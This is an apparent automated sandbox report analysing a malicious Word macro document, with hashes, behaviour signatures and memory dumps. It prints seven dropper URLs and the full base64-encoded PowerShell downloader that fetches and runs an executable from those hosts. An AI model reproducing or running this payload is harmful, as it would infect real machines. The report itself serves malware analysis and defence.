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Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    06/09/2024, 16:20

General

  • Target

    cff36af596a5ae63412a79bf6de88ed1_JaffaCakes118.doc

  • Size

    162KB

  • MD5

    cff36af596a5ae63412a79bf6de88ed1

  • SHA1

    5be5e50d16b538507c7c6d95c271d995e4ede564

  • SHA256

    8c312805d2cac10a8deaaa7ee8aaad782a4a93eade429042f8ac234b2716be7e

  • SHA512

    6e53617efbf57703502535770b28ca094cd9d32f340725b27a9866aa7409461590e3da2be34a4218e05a6b6d43125bc98f059640a9f1b85d5ef0bd44b01bc749

  • SSDEEP

    1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a965ZVDEuEfBzoIRGQ:T/rfrzOH98ipg+O5JzoQGQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://cryptokuota.com/assets/M2ngTrJ/

exe.dropper

https://pinterusmedia.com/wp-admin/YX/

exe.dropper

https://aszcasino.com/aszdemo/DRloh/

exe.dropper

https://dubai-homes.ae/wp-admin/YBJR3M/

exe.dropper

https://whitdoit.tk/ljiy53n/xxE/

exe.dropper

http://4life.com.vn/wp-admin/R/

exe.dropper

http://baran-business.de/wp-content/pMr/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cff36af596a5ae63412a79bf6de88ed1_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQBcAGkAaQBxAFEASABRAFAAXAB3ADYAagBTAHgAZQBmAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBgAEkAVABZAHAAcgBPAFQATwBgAEMAbwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKwAnACwAIAB0AGwAcwAnACkAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAFEAaAA1AGcAeQBoAHUAIAA9ACAAKAAnAE4AJwArACgAJwA3ADAAJwArACcAdwAnACkAKwAoACcAbQAyACcAKwAnADYAZQAnACkAKQA7ACQASgBsAGUAMAA1ADgAcwA9ACgAJwBWAGUAJwArACcAcgAnACsAKAAnAG8AYQAnACsAJwB5AGgAJwApACkAOwAkAE8AcwB0AGYAXwBoAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBHADkAJwArACcAbABJACcAKwAnAGkAcQBxAGgAJwArACcAcQBwACcAKQArACcARwAnACsAJwA5AGwAJwArACgAJwBXACcAKwAnADYAagBzACcAKwAnAHgAZQBmAEcAOQBsACcAKQApAC0AcgBlAFAATABBAEMARQAgACAAKAAnAEcAOQAnACsAJwBsACcAKQAsAFsAQwBoAGEAUgBdADkAMgApACsAJABRAGgANQBnAHkAaAB1ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVwBxAGsAbgBvAHIAdAA9ACgAKAAnAE4AJwArACcAXwAyACcAKQArACgAJwBnAHUAJwArACcAeQBrACcAKQApADsAJABVAGoAagBvAGEAMwBqAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBCAGMATABpAGUAbgBUADsAJABWAG0AcgAxAGkAdABzAD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8ALwAnACkAKwAnAGMAcgAnACsAKAAnAHkAcAAnACsAJwB0AG8AJwApACsAKAAnAGsAJwArACcAdQBvAHQAYQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhACcAKwAnAHMAcwAnACsAKAAnAGUAJwArACcAdABzAC8ATQAyAG4AJwArACcAZwAnACkAKwAoACcAVAAnACsAJwByAEoALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AcAAnACsAJwBpAG4AdAAnACkAKwAnAGUAcgAnACsAKAAnAHUAcwBtACcAKwAnAGUAZAAnACkAKwAoACcAaQBhAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFkAJwApACsAJwBYAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKwAnAC8AYQBzAHoAYwAnACkAKwAnAGEAJwArACgAJwBzAGkAJwArACcAbgBvAC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAYQAnACsAJwBzAHoAJwApACsAJwBkAGUAJwArACgAJwBtAG8AJwArACcALwBEAFIAbABvAGgALwAnACsAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvACcAKQArACgAJwAvAGQAdQAnACsAJwBiAGEAJwApACsAKAAnAGkALQBoACcAKwAnAG8AbQAnACkAKwAnAGUAJwArACcAcwAnACsAJwAuAGEAJwArACgAJwBlAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGEAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBZACcAKQArACgAJwBCAEoAUgAnACsAJwAzAE0ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB3AGgAJwArACcAaQB0AGQAJwApACsAKAAnAG8AaQB0AC4AdABrACcAKwAnAC8AJwApACsAKAAnAGwAagBpAHkANQAnACsAJwAzACcAKQArACcAbgAvACcAKwAnAHgAeAAnACsAJwBFACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8ANAAnACsAJwBsACcAKwAoACcAaQAnACsAJwBmAGUAJwApACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgAnACsAJwB2AG4ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuACcAKQArACcALwAnACsAJwBSACcAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAvAC8AYgBhAHIAJwArACcAYQBuAC0AJwApACsAKAAnAGIAdQBzACcAKwAnAGkAbgBlAHMAJwApACsAJwBzACcAKwAoACcALgBkACcAKwAnAGUAJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwAnACsAJwBvAG4AJwApACsAJwB0AGUAJwArACcAbgB0ACcAKwAoACcALwAnACsAJwBwAE0AcgAnACkAKwAnAC8AJwApAC4AIgBTAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMAcQA3ADQAZQB4AGgAPQAoACcATwAnACsAKAAnAGEAJwArACcANwBnAGwAbgAnACkAKwAnAHMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBjADMAawA1ADMAaAAgAGkAbgAgACQAVgBtAHIAMQBpAHQAcwApAHsAdAByAHkAewAkAFUAagBqAG8AYQAzAGoALgAiAGQAbwBXAGAATgBsAG8AQQBgAGQARgBpAGAAbABlACIAKAAkAFkAYwAzAGsANQAzAGgALAAgACQATwBzAHQAZgBfAGgAbQApADsAJABUAHgAcgBsAHYAMwB6AD0AKAAoACcAVQBjACcAKwAnAHEANQBmACcAKQArACcAbQAnACsAJwBzACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABPAHMAdABmAF8AaABtACkALgAiAEwAYABlAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADkAOQA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAE8AcwB0AGYAXwBoAG0AKQA7ACQARAB6AHYAMwBwADYAaAA9ACgAKAAnAEgANAAnACsAJwBvAHYAJwApACsAJwBtACcAKwAnADMAZgAnACkAOwBiAHIAZQBhAGsAOwAkAE4AcQA4AGgAXwAzADkAPQAoACgAJwBaACcAKwAnAGIAYwAnACkAKwAoACcAaABuACcAKwAnADYAaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBuAGYAeQA5AHIAbQA9ACgAJwBIACcAKwAoACcAYgBsACcAKwAnADAAJwArACcAbABsAHAAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      d5c5daae383da5aa7539166a81681a72

      SHA1

      e1807b5a4b73eefe5d667e3ecea79743428e46ea

      SHA256

      17edb2529a7e2ed451ef9a0612227c3f696b089c938cc360ac5902b0d9f2b250

      SHA512

      12fe81339545ffe51d223b64645396d2961d17dc65625f2035bcde2fa6b4c07762783dce936490a63e5efc32484b89841a6ba2efb26a02da28b3a549efa2dc8a

    • memory/2520-10-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-25-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-5-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-6-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-7-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-26-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-20-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-21-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-19-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-18-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-16-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-15-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-13-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-14-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-12-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-11-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-9-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-0-0x000000002FFD1000-0x000000002FFD2000-memory.dmp

      Filesize

      4KB

    • memory/2520-2-0x0000000070BAD000-0x0000000070BB8000-memory.dmp

      Filesize

      44KB

    • memory/2520-22-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-8-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-24-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-29-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-31-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-30-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-28-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-27-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-32-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-61-0x0000000070BAD000-0x0000000070BB8000-memory.dmp

      Filesize

      44KB

    • memory/2520-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2520-40-0x0000000070BAD000-0x0000000070BB8000-memory.dmp

      Filesize

      44KB

    • memory/2520-41-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-42-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-43-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2520-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2732-39-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

      Filesize

      32KB

    • memory/2732-38-0x000000001B6A0000-0x000000001B982000-memory.dmp

      Filesize

      2.9MB